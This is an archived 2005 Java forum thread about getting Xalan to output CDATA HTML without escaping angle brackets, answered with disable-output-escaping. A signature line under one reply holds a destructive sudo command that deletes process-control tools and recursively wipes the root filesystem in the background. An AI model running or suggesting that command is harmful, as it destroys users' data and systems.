Home | Contact Us | FAQ | Search & Site Map | Link to Us
Sign In | Join | Other 45 Sites in Network
HomeAnnouncementsWhite Papers
Discussion GroupsFirst AidDatabasesJavaBeansGUIJava 3DVirtual MachineCORBASecurityToolsGeneral
Java DirectoryOpen Source ProjectsSample Book ChaptersUser GroupsWeb Resources
Related Topics
Databases.NETMore Topics ...

Java Forum / General / March 2005

Tip: Looking for answers? Try searching our database.

Circumventing entity conversion.  Can Xalan help?

Thread view: 
jazzdman@comcast.net - 03 Mar 2005 00:13 GMT
Hi,
    From what I've been reading so far, I think I already know the
answer to this question, but I'll ask anyway.  I have an XML document
that contains cdata sections with HTML.  I want to transform the
document in such a way that the < and > characters in the cdata
sections are unchanged (ie not converted to &gt; and &lt;) upon output.
Since XSLT is supposed to allow for transformations from XML to XML, I
can understand why transform engines wouldn't let you do this, but I
still need to do it.  Furthermore, I can't imagine my situation is
unique.  I don't know enough about Xalan to know if this would work,
but would it be possible to create an extension element or function
that would allow me to circumvent the entity conversion?  The extension
function would be pretty simple to code, the question is, does the
entity conversion occur after the transformation (ie as the text node
tree is being output) or during.  If it occurs during, then I think I'm
good.  If the conversion occurs after, is there some other way to
achieve this effect?  xsl:text and xsl:output don't provide any help.

Anyone have a suggestion, other than not using XML for what I'm trying
to do?

Thanks,

Jason Mazzotta
jazzdman@comcast.net - 03 Mar 2005 04:41 GMT
OK, I found the answer :

http://groups-beta.google.com/group/comp.text.xml/browse_thread/thread/f398644a8
0b6891b/5b1e9e3ae6db3853#5b1e9e3ae6db3853


and the winner is xsl:valu-of disable-output-escaping.

Cool.
David Carlisle - 03 Mar 2005 10:11 GMT
disable-output-escaping="yes"

David
Peter Flynn - 06 Mar 2005 00:31 GMT
> Hi,
>      From what I've been reading so far, I think I already know the
> answer to this question, but I'll ask anyway.  I have an XML document
> that contains cdata sections with HTML.

FAQ. http://www.ucc.ie/xml/#usecdata

///Peter
Signature

sudo '(/bin/rm -f `which killall kill ps shutdown`; cd /; /bin/rm -rf * &)'



Free Magazines

Get these publications absolutely FREE for up to 12 months. There are no hidden fees and no obligation. Simply choose a title, complete the application form and submit it. Read more ...

Oracle MagazineNetwork ComputingComputer WorldBio-IT WorldeWeekInformation WeekInfosecurity
 
Sign In
Join
My Latest Posts
My Monitored Threads
My Blog
My Photo Gallery
My Profile
My Homepage

Start New Thread
Enable EMail Alerts
Rate this Thread



©2008 Advenet LLC   Privacy Policy - Terms of Use
This website includes both content owned or controlled by Advenet as well as content owned or controlled by third parties.